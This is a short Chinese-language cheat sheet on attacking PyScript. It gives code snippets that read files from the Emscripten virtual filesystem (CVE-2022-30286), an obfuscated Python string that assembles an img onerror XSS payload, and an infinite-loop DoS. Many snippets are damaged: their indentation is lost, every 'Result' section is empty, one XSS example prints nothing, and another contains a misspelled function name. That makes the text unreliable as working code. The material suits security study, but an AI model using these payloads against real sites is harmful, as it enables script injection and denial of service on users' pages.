## PyScript渗透测试指南
PyScript是一个新的框架，用于将Python集成到HTML中，以便与HTML一起使用。在这份速查表中，您将了解如何使用PyScript进行渗透测试。
### 从Emscripten虚拟内存文件系统中转储/检索文件：
`CVE ID: CVE-2022-30286`\
\
代码:
```html
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
out = fin.read()
print(out)
```
结果：
### [Emscripten虚拟内存文件系统的OOB数据泄露（控制台监控）](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
`CVE ID: CVE-2022-30286`\
\
Code:
```html
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('')
```
结果：
### 跨站脚本（普通）
代码：
```python
print("
")
```
结果：
### 跨站脚本（Python混淆）
代码：
```python
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
```
结果：
### 跨站脚本（JavaScript混淆）
代码：
```html
prinht("")
```
结果：
### DoS 攻击（无限循环）
代码：
```html
while True:
print(" ")
```
结果：
